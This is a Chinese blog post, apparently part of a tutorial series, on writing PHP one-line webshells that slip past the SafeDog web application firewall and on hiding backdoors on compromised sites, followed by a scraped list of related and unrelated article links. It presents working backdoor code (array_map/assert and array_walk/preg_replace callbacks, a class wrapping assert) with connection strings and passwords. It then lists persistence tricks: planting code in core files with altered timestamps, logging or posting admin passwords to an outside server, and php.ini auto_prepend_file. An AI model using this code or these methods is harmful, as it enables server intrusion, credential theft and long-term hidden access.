第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制。

另外强调一下,这篇文章需要大家对于php有一定的认识。

本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础;第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路;第三部分主要分享后门隐藏之道。

声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀!

目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被动主要就在于你访问该文件的时候,对该文件就行查杀,比如链接菜刀的时候。

因为安全狗对后门的查杀其实就是对代码的一个预编译,去除注释等无用代码,遇到if,直接检查if内部内容。

安全狗获取其他各种waf有什么样的特征库,我们并不能全部知晓,我们能做的只有一点点尝试,WAF永远在更新,黑阔门永远在换套路,几乎没有一劳永逸的后门。

说明:如果想更好的过狗,那么php是必须要会的,为了尽量照顾到不会php的同学,本文分享一些猥琐思路弥补一下。

先来一个最简单的过狗后门

下面分享的几个一句话都是可以直接过狗的,虽然很简单,但此之前,我们来遛一遛狗。

<?php $_GET[a]($_GET[b]);?>

这句话已经可以执行一切命令了,但是必然被杀,

我们可以用extract函数简单的处理下请求的数据

当然,想要完美过狗,执行更多命令,还需要数据层加工,详情参考第三章。

经典的回调函数

很多时候并不是给变量多一层加密就安全,其实很多waf对base64_decode相当敏感。

例如:

@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));

原理分析:xx参数直接传入一个assert函数,sofia参数传入assert(eval('执行代码'))。

直接暴出array_map后门,试试去掉base64?

没错,就这么简单,最危险的地方就是最安全的地方,起码文件特征安全狗确实没有检测出来。

然而这个一句话D盾是四级的,因为稍微懂点的人都能看出来是个后门。

但是距离实际意义上的过狗还是远远不够的,还需要数据层加工,详情参考第三章。之后你会发现,就这个一句话修改下post数据,可以完整过狗。

不卖关子:

@array_map(assert,(array)base64_decode($_REQUEST['sofia']));

连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==    密码 :vuln

再来一个回调后门

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);
$arr = array($Base($_POST['sofia']) => '|.*|e',);
@array_walk($arr, $_clasc, '');
?>
这是我之前修改过的一个版本,这里用的其实还是preg_replace后门,也是通过回调函数来实现执行,同样可以过:

详解:
带入参数:

vuln=cHJlZ19yZXBsYWNl(preg_replace)

sofia=cGhwaW5mbygp(phpinfo())

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>

网上有很多现成的回调函数或者其他方式来过特征检测,再这里就不重复造轮子了。

代码隐藏

权限维持也是渗透中重要的环节,隐藏的不到位第二天就掉权限,猥琐的后门能一辈子跟随。

方法一:远程读取或者include文件

这个方法比较常见,如:

<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}

但是就个人而言,我一眼看上就觉得有鬼,哪个正常程序会鬼畜到包含一个日志文件或者图片,当然也要根据场景来定。

方法二:

将代码放到核心函数文件中,做好文件时间修改,只要查杀不出来,一般站长也不会去动核心文件,也是具有一定隐蔽性的,

方法二:创建类或者函数,分离后门代码

这样的话基本上很难查杀了,比如再global_function.php类的文件中创建一个类,或者函数,在所调用这个核心函数的相关文件中实例化一个类,调用函数,那么也是妥妥执行的。

如:把class放到核心类文件中,在相关的调用文件中放入执行代码,隐蔽性会加强很多。

<?php
class Parse_Args {

public function apply_filters($key) {
assert($key);
}
}

//执行代码
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);

?>

方法四:直接加密代码

直接将后门文件加密,

其实这就只是eval($_POST[x])加密后的结果,还需要构造什么?但是在渗透过程中可用性并不是很高,很多时候要写入后门代码,这根本没法写的,只能作为一种维持手段。

方法五:创建手工后门

php不仅可以获取get,post数据还是可以获取server数据的,如user-agent,referrer,cookie,client ip,所以我们完全可以在这些参数中加入需要执行的代码,但需要注意的是有的参数日志中会记录,这里仅提供思路,大家根据实际情况取发挥。

方法五:间接维持后台权限,

可以直接在后台登陆页所include的核心函数中加入获取用户名密码的代码,如直接生成到本地服务器的一个txt中(可以加密下),记住这个隐蔽的url,时不时就会有密码记录,或者远程post密码到自己的服务器上。

可以在后台页面中插入一个xss,这种效率相对较低,但是也是一种思路。

方法六:来硬的

这种方法只能针对中小站长,找到一个网站的核心但是又不常用的文件,比如lang文件等等,将自己后门加入,然后将整个文件加密,再替换源文件,功能一切正常,站长对这类文件不会起太大疑心。

这个思路也可以结合方法三。

方法七:php.ini后门

修改php.ini配置来达到每个页面都执行某个后门,每个php都是后门,比如可以配置auto_prepend_file,自动加载某个文件,这部分后期抽时间再单独写出来

php一句话后门过狗姿势万千之后门构造与隐藏【二】的更多相关文章

  1. PHP一句话后门过狗姿势万千之后门构造与隐藏

    第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...

  2. php一句话后门过狗姿势万千之传输层加工(1)

    写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...

  3. PHP一句话后门过狗姿势万千之理论篇

    写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面. 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人 ...

  4. php一句话后门过狗姿势万千之传输层加工【三】

    既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...

  5. PHP一句话后门过狗姿势万千之传输层加工

    既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...

  6. 完美扫描PHP特殊一句话后门

    <?php /********************** 作者 Spider 网上公布的各种PHP后门全军覆没 针对一些特殊变形的后门需要自己添加特征 误报率不到百分之一 ********** ...

  7. 创造tips的秘籍——PHP回调后门

    作者:Phithon 原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 最近很多人分享一些过狗过盾的一句话, ...

  8. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  9. linux设备驱动归纳总结(十一):写个简单的看门狗驱动【转】

    本文转载自:http://blog.chinaunix.net/uid-25014876-id-112879.html linux设备驱动归纳总结(十一):写个简单的看门狗驱动 xxxxxxxxxxx ...

随机推荐

  1. Java中的引用类型(强引用、弱引用)和垃圾回收

    Java中的引用类型和垃圾回收 强引用Strong References 强引用是最常见的引用: 比如: StringBuffer buffer = new StringBuffer(); 创建了一个 ...

  2. ajax点赞功能

  3. JAVA IO 字节流与字符流

    文章出自:听云博客 题主将以三个章节的篇幅来讲解JAVA IO的内容 . 第一节JAVA IO包的框架体系和源码分析,第二节,序列化反序列化和IO的设计模块,第三节异步IO. 本文是第一节.     ...

  4. Label自适应高度

    每次都逼我翻代码   这次干脆写博客里面算了 哈哈哈 CGSize maxSize = CGSizeMake(ScreenWith-30,NSIntegerMax); CGSize labelsize ...

  5. IOS设计模式-观察者模式

    前言:23种软件设计模式中的观察者模式,也是在软件开发中,挺常用的一种设计模式.而在苹果开发中,苹果Cocoa框架已经给我们实现了这个设 计模式,那就是通知和KVO(Key-Value Observi ...

  6. The JSP specification requires that an attribute name is preceded by whitespace

    一个jsp页面在本地运行一点问题没有,发布到服务器就报错了: The JSP specification requires that an attribute name is preceded by ...

  7. 在【Xamarin+Prism开发详解三:Visual studio 2017 RC初体验】中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很是感兴趣。于是发时间深入研究了一下Visual Studio 2017RC 是不是和微软Connect()://2016上说得一样神。

    总共列出了12点,耐心点慢慢看! 1,添加了不少[代码样式]的设置项目. 通过合理的设置每个人都能写出优美的代码,而且团队项目也可以达到统一代码风格. this首选项:可以设置[字段,属性,方法,事件 ...

  8. 坑!坑!坑!防不胜防的unsigned int的运算

    我很早之前就知道,unsigned int与int运算的时候,int会被转化为unsigned int来进行运算.一直觉得定这条规则的人是极度反人类的,虽说unsigned int可以表示更大的正值, ...

  9. 安装centos 7后恢复windows 2008R2 (Windows7)启动项

    安装CentOS 7,安装之后发现Win2008R2的启动项不见了(Windows7同理).一般安装Linux过程中会自动识别windows系统并添加引导项,centos的问题在于默认不支持ntfs分 ...

  10. 网络编程2--毕向东java基础教程视频学习笔记

    Day 23 08 Udp接收端09 Udp键盘录入数据方式10 Udp聊天11 TCP传输12 TCP传输213 TCP练习14 TCP复制文件 08 Udp接收端 需求:定义一个应用程序,用于接收 ...